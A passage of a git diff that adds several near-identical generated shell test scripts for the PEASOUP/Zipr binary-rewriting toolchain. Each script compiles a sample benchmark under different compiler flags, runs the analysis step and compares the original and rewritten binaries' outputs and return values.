+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0e0a0b70919d8b6ad7b30614d6c97d300fa39ef5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b80e5c27d96f058353208a4cd5f4cfa1728403e5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c79505511004ac381b485e58e32c7e71ace8ad39
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b4f221a0f6d33e792c9ba1e81edb358b1c133f22
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6ddef0dd1c568808609b994612d10fa9c7b6f46e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e740c4e14429cbceae1af778693c57fe4722af0e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
